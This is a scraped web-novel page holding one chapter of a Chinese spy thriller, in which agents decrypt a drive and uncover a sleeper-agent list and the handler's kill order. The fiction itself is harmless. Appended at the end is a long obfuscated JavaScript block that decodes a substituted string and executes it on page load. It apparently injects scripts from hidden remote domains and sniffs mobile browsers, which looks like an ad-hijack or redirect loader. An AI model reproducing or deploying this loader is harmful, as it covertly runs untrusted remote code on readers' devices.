首页
第0382章 暗夜追踪
返回
关灯 护眼:关 字号:小

第0382章 暗夜追踪

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    凌晨四点半,江城北郊。
    安全屋设在一栋老旧的六层居民楼里,外表灰扑扑的,与周围的建筑没有半分区别。楼道里贴着褪色的煤气广告,感应灯时灵时不灵,三楼拐角处堆着谁家的旧纸箱,散发出发潮的霉味。
    马旭东已经在屋里等了两个小时。
    他把整间屋改造成了一个临时机房——三台显示器并排摆在折叠桌上,主机箱敞着盖,各种颜色的数据线像蛛网一样铺了满地。靠墙的柜子上架着一台小型服务器,风扇嗡嗡地转着,指示灯明灭不定。
    “什么情况?”他看到陆峥和夏晚星推门进来,立刻从椅子上弹起来,眼镜差点滑到鼻尖。
    陆峥从贴身口袋里掏出那枚U盘,放在桌上。
    “加密数据,来自‘蝰蛇’内部通讯。里面有‘幽灵’向林涵下达的全部指令记录,还有一份‘休眠者’名单。”
    马旭东拿起U盘,在指尖转了两圈,神色变得凝重起来。
    “什么加密算法?”
    “不知道。‘蝰蛇’自己开发的,没有密钥。”
    “有意思。”马旭东一屁股坐回电脑前,把U盘插进接口,手指在键盘上快速敲击起来。屏幕上的代码如瀑布般倾泻而下,倒映在他的眼镜片上,忽明忽暗。
    夏晚星走到窗边,撩开窗帘一角。外面的天色还是一片漆黑,远处的楼群轮廓模糊,只有几盏路灯在雾气中晕开一团团昏黄的光。
    “他能破开吗?”她问,没有回头。
    “能。”陆峥说。
    “这么肯定?”
    “马旭东说他破不开的东西,还没被造出来。”
    电脑前的马旭东嘿嘿笑了两声,算是默认。他的手指没有停,已经进入了那种半癫狂的工作状态——身体窝在椅子里,十根手指却像装了马达一样在键盘上飞驰,时不时敲一下回车键,然后发出一声低低的惊叹或咒骂。
    “这个加密算法有点意思,”他自言自语,“三层嵌套,每层都用不同的密钥,而且加了时间戳校验。如果不在规定时间内完成解密,数据会自动销毁。”
    “你有办法吗?”
    “有。但我需要时间。”马旭东推了推眼镜,“他们用的时间戳算法有个漏洞——如果我把系统时间冻结在他们加密的那一刻,校验就会被骗过去。”
    “多久?”
    “两个小时。最多三个。”
    陆峥看了一眼手表。凌晨四点三十五分。如果马旭东能在七点前完成破解,他们还有时间在天亮前做出部署。
    “开始吧。”
    马旭东不再说话,整个人扎进了代码的海洋里。
    房间里只剩下键盘的敲击声和服务器风扇的嗡鸣。夏晚星在窗边的旧沙发上坐下,从包里掏出一个笔记本,翻开到空白页,开始记录今晚获得的所有线索——
    张敬之。林涵。坠楼。清理指令。休眠者。
    她的笔尖在“林涵”的名字上画了一个圈,又画了一个圈。
    “你还在想他?”陆峥走过来,在她旁边坐下。
    “我在想,如果林涵真的被替换了,那真正的林涵是什么时候死的。如果假林涵是幽灵,他在张敬之身边待了六年,为什么选在那个时候动手?”
    “因为张敬之发现了。”
    “发现了什么?”
    “发现了他的身份,或者发现了‘深海’计划已经被渗透。”陆峥的声音压得很低,像在梳理自己的思路,“你父亲说,张敬之坠楼前三天见了林涵,在日程本上写了‘数据安全问题’。如果张敬之当时已经拿到了证据,他只是还没决定要不要向国安部报告——”
    “所以幽灵提前灭了口。”
    “对。”
    “那证据呢?”夏晚星追问,“张敬之拿到的那份证据在哪里?”
    这个问题让陆峥沉默了。
    如果张敬之确实掌握了幽灵身份的证据,那么这份证据要么被他藏在了某个地方,要么已经被幽灵取走了。如果是前者,那就是他们翻盘的最大希望。如果是后者——
    “沈知言。”陆峥突然站起来,“张敬之最信任的人是沈知言。如果他把证据藏在了哪里,沈知言一定知道。”
    “但现在联系不上沈知言。”夏晚星翻开手机,“安全条例规定,行动期间所有受保护人员必须切断外部通讯。他现在应该在七号安全屋,有林小棠贴身保护。”
    “天亮之后,我去一趟。”
    夏晚星点头,在笔记本上又写下一行字:沈知言——张敬之遗物——可能存在的证据。
    键盘声忽然停了。
    马旭东从显示器后面探出头来,脸上的表情很古怪。
    “你们过来看一下。”
    陆峥和夏晚星立刻走到他身后。三台显示器并排亮着,最左边那台正在运行解密程序,进度条走到百分之四十三。中间那台显示着一片密密麻麻的十六进制数据。最右边那台——
    “这是什么?”陆峥盯着右边的屏幕。
    屏幕上是一段被高亮标出的文本,夹杂在乱码和加密碎片之间。马旭东已经把它单独提取了出来,放大到满屏。
    文本很短,只有七行:
    江A-7-03-0
    江B-12-01-2
    江C-4-16-4
    江D-9-08-1
    江E-2-21-3
    江F-7-14-0
    江G-11-05-5
    “我在解密缓冲层里发现的,”马旭东指着这串字符,“用的不是同一个加密算法,加密等级低很多,被我顺手破开了。看起来像某种编码。”
    夏晚星的目光扫过那七行字符,瞳孔骤然收紧。
    “不是编码。”她的声音绷紧了,“是坐标。”
    “坐标?”
    “休眠者的位置坐标。”她指着第一行,“江A,应该是江城A区的缩写。7-03——街道编号和建筑编号。最后的数字,可能是人数或者威胁等级。”
    马旭东倒吸了一口气,手指飞快地敲了几个键,调出江城地图。
    “江A是城东区,7号街道在东四环附近,03是——”他放大卫星地图,“一栋商住两用楼。底商是一家便利店,上面是出租公寓。”
    “江B呢?”
    “城西开发区,12号街道,01栋。”马旭东的鼠标在地图上快速移动,“那一片是新型产业园,入驻的多是科技公司。”
    “和‘深海’计划的供应链有关。”夏晚星立刻接上,“沈知言提过,‘深海’的核心元器件有三成是从城西产业园采购的。”
    陆峥盯着屏幕上的七行坐标,心底涌起一股寒意。
    七组坐标。
    七个休眠者——或者七个休眠小组。
    他们在江城的各个角落潜伏了不知道多久,过着普通人的生活,邻居觉得他们和善,同事觉得他们勤恳。没有人知道他们的真实身份,没有人知道他们随时可以被激活。
    而一旦激活,他们会不惜一切代价。
    “这些坐标对应的具体人员能不能查出来?”陆峥问。
    马旭东摇头:“光有坐标没法锁定个人。一栋楼里可能有几十户上百人,除非有更多的身份信息——”
    进度条跳到百分之五十二,屏幕上的十六进制数据突然开始剧烈跳动。马旭东脸色一变,立刻切回解密窗口,手指在键盘上疯狂敲击。
    “妈的,有反破解程序!”他吼道,“数据在自毁!”
    陆峥和夏晚星同时凑上前。最左边的那台显示器上,进度条正在快速倒退——百分之五十一、百分之四十九、百分之四十六——像一只无形的手在逆向拨动时钟。
    “他们设了双重陷阱!”马旭东的额头上渗出细密的汗珠,声音却依然冷静,“我冻结了时间戳,但他们在解密算法里埋了一个逻辑炸弹。一旦检测到时间异常,就会触发第二层自毁程序。”
    “能拦住吗?”
    “我试试。”
    马旭东整个人伏在键盘前,十根手指快得几乎出现了残影。屏幕上的代码以令人眼花缭乱的速度滚动,偶尔弹出一行红色的警告提示,又被他强行压回去。房间里明明开着空调,他后背的T恤却洇出一大片汗渍,贴在脊梁骨上。
    夏晚星攥紧了拳头。
    陆峥的呼吸也放得很轻。
    进度条跳到百分之四十七,停了一秒,又跳到百分之四十六。
    然后——画面突然定格。
    所有的代码停止了滚动。三台显示器同时暗了一瞬,随即同时亮起。最左边那台的进度条消失了,取而代之的是一个绿色的对勾符号。
    “成了?”夏晚星不敢相信。
    马旭东没有回答。他瘫在椅子里,摘下眼镜,用T恤下摆擦了擦镜片上的雾气,然后重新戴上。他的手指还在微微发抖——不是恐惧,是高度紧张后的生理反应。
    “三层加密全解了。逻辑炸弹被我隔离在沙箱里。”他的声音有些沙哑,“数据保住了。”
    他在键盘上敲了几个键。
    中间的显示器上,乱码开始消退,被破译的明文信息一段一段地浮现出来,像沉在水底的石头一块块露出水面。
    最上面是一份通讯记录。发送者代号“幽灵”,接收者代号“涵”。时间跨度从六年前到三天前。
    陆峥从头开始读。
    第一条记录的时间是六年前的九月。
    幽灵:新的身份已经为你准备好。林涵,27岁,江城大学物理系博士,师从张敬之。你需要用三年时间,成为他最信任的人。
    涵:明白。
    幽灵:记住。你不再是“蝰蛇”的杀手。你是林涵。一个温和、谦逊、有点内向的年轻学者。你的每一个表情、每一个习惯、每一句口头禅,都必须是林涵的。
    涵:我需要知道真正的林涵在哪里吗?
    幽灵:不需要。他已经不存在了。
    夏晚星的手按在桌沿上,指节泛白。
    “他真的杀了真正的林涵。”她低声说。
    陆峥继续往下读。
    接下去的通讯记录跨度三年,内容大多是“林涵”向“幽灵”汇报在张敬之身边的进展情况——取得了张敬之的信任、参与了“深海”计划的早期论证、拿到了外围数据的访问权限。每一条都简洁利落,不带任何情绪,像一份份冰冷的工作周报。
    然后是四年前的一条记录。
    幽灵:张敬之有没有怀疑你?
    涵:没有。他对我毫无防备。
    幽灵:很好。下一步,你需要拿到“深海”计划核心数据的完整副本。
    涵:核心数据在张敬之的私人服务器上,物理隔离,不联网。我需要时间。
    幽灵:你有两年。
    陆峥的瞳孔骤然收缩。
    物理隔离、不联网的服务器——张敬之死后,那台服务器在哪里?
    他想起老鬼提过,张敬之坠楼后,国安部对他的实验室进行了全面搜查,所有设备和资料都被封存。那台服务器应该在国安部的证物库里。
    但幽灵要的是“完整副本”。
    “他们拿到了吗?”他继续往下翻。
    一年半前的一条记录给出了答案。
    涵:核心数据已复制百分之七十八。张敬之今天忽然问我,是不是对数据安全问题感兴趣。
    幽灵:他察觉了?
    涵:不确定。他问得很随意,像在闲聊。但我感觉他在试探。
    幽灵:加快进度。一个月内,完成全部复制。
    涵:一个月不够。
    幽灵:那就二十天。
    然后是最关键的一条。发送时间——张敬之坠楼前三天。
    幽灵:张敬之约你见面,谈数据安全问题?
    涵:是的。他昨天给我打了电话,让我去他办公室。他说他发现了一些“有趣的东西”,想和我讨论。
    幽灵:他发现了什么?
    涵:不知道。他的语气听起来很平静,不像有戒心。
    幽灵:不对。他是在钓鱼。
    涵:什么意思?
    幽灵:他如果真的发现了什么,不会在电话里说。他让你去办公室,可能是想观察你的反应。也可能——他已经怀疑你了。
    涵:那怎么办?
    幽灵:按计划清理。
    涵:明白。
    最后四个字之后,这条通讯记录结束了。
    房间里的沉默像灌了铅一样沉重。
    夏晚星的手从桌沿上滑落,垂在身侧,攥成拳头。
    “就这四个字。”她的声音压得很低,却带着一股压抑不住的怒意,“‘按计划清理’。然后张敬之就‘坠楼’了。”
    陆峥没有接话,继续往下翻。
    接下去的通讯记录变得稀疏起来。张敬之死后,“林涵”按照“幽灵”的指示,主动接受了国安部的问询,表现得配合、悲恸、毫无破绽。问询结束后,他申请调离核心实验室,去江城大学物理系做副教授,成功淡出了所有人的视线。
    他还在继续为“幽灵”工作。
    每个月汇报一次,内容大多是关于江城大学物理系的科研项目、国安部对“深海”计划的最新部署、沈知言的工作进展——
    陆峥的目光停在最后一条记录上。
    发送时间是三天前。
    幽灵:有人重新启动了对张敬之死因的调查。
    涵:谁?
    幽灵:国安部的人。他们组了一个专门的行动组,代号“磐石”。负责人叫陆峥。
    涵:需要我做什么?
    幽灵:暂时按兵不动。你的身份目前是干净的。只要你不犯错,他们查不到你身上。
    涵:如果他们查到了呢?
    幽灵:(没有回复)
    涵:如果查到呢?
    幽灵:(没有回复)
    涵:你还在吗?
    幽灵:做好你该做的事。其余的交给我。
    通讯记录到此结束。
    马旭东摘下眼镜,用力揉了揉眼睛。他的脸色发白,不知道是累了还是被这些内容震住了。
    “这个人,”他指了指屏幕上的“幽灵”,“他连自己人都不在乎。林涵问了他三遍‘如果查到怎么办’,他一句都没回。”
    “因为在他的计划里,林涵也是可以被清理的。”陆峥说,声音冷得像结了冰,“就像当年的苏蔓。一旦暴露,就会被灭口。”
    夏晚星突然站起来,走到窗边。窗帘被她掀开的缝隙里透进一道灰白色的晨光——天快亮了,远方的天际线已经从墨黑变成了铅灰,几颗残星若隐若现。
    “马旭东,”她没有回头,“休眠者名单解出来了吗?”
    “正在解压。”马旭东切换了一个窗口,“通讯记录里附带了一个加密压缩包,文件名是‘HIBERNATION’。里面应该就是名单。”
    进度条一点一点地爬。
    百分之七十。百分之八十。百分之九十五。
    叮。
    一个文件夹弹了出来。
    里面是七个文档,每个文档对应一个坐标。马旭东点开第一个——江A-7-03-0。
    文档内容是一份详细到令人毛骨悚然的个人信息档案:
    代号:江A-7
    姓名:周建华
    表面身份:城东区某小区物业经理
    潜伏时间:九年
    技能:爆破、近身格斗
    激活状态:未激活
    联系人:无(单线接收指令,指令来源代号“幽灵”)
    附着一张照片。一个四十多岁的中年男人,微胖,谢顶,穿着物业制服,对着镜头憨厚地笑着。看起来就像你每天在小区里会遇到的、会帮你拎菜篮子的那种热心大叔。
    马旭东的手悬在键盘上方,微微发抖。
    “九年。”他说,“这个人在这里潜伏了九年,当物业经理。”
    他又点开第二个文档。
    代号:江B-12
    姓名:赵敏
    表面身份:城西产业园某科技公司行政主管
    潜伏时间:七年
    技能:网络渗透、信号截获
    激活状态:未激活
    联系人:无
    第三个。第四个。第五个。
    每一个文档都配着照片——有教师、快递员、出租车司机、社区医生。他们的共同点只有一个:看起来完全无害。
    而当所有七个文档被点开之后,最底部还藏着一个文件。
    文件名只有三个字:激活码。
    马旭东点开。
    屏幕上弹出一行猩红色的字符:
    激活指令已预置。发送“WAKE”,所有休眠者将在十分钟内进入激活状态。
    陆峥盯着那行字,感觉到一股凉意从脊梁骨一直窜到后脑勺。
    十分钟。
    从发送指令到激活,只需要十分钟。
    而“幽灵”随时可以发出这条指令。
    “把这份名单发给老鬼。”他压下声音里的波澜,下达了第一个指令,“让他调动所有能动用的人手,对七个坐标实施全天候监控。记住——只是监控,不要惊动。”
    “明白。”夏晚星已经拿起了加密通讯器。
    “马旭东,继续深挖通讯记录,看有没有关于‘幽灵’身份的更多线索。”
    “收到。”
    陆峥走到窗前,和夏晚星并肩站着。窗外的天色正在加速转亮,东边天际的那一线灰白已经变成了淡金,云层被染上薄薄的橘色。
    这座城市正在醒来。
    数十万扇窗户里正在亮起灯光,早班公交正在驶出车场,早餐摊正在支起炉灶。数百万的江城人即将开始他们平常的一天——上班、上学、买菜、晨练。
    没有人知道,在他们中间,潜伏着七个随时可以被激活的定时炸弹。
    “天亮了。”夏晚星说。
    “嗯。”
    “接下来怎么办?”
    陆峥低头看了一眼手表。凌晨六点零三分。
    “去找沈知言。”他说,“张敬之临死前,一定留下了什么东西。”
    他转过身,拿起搭在椅背上的外套,向门口走去。走出两步,忽然停住。
    “夏晚星。”
    “在。”
    “给你父亲发一条消息。”
    夏晚星的手指顿在通讯器上。
    “告诉他——”陆峥顿了一下,“他的底牌,我们已经接住了。”
    窗外,第一缕阳光刺破云层,照亮了江城的天际线。
    城市醒了。
    暗战未歇。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();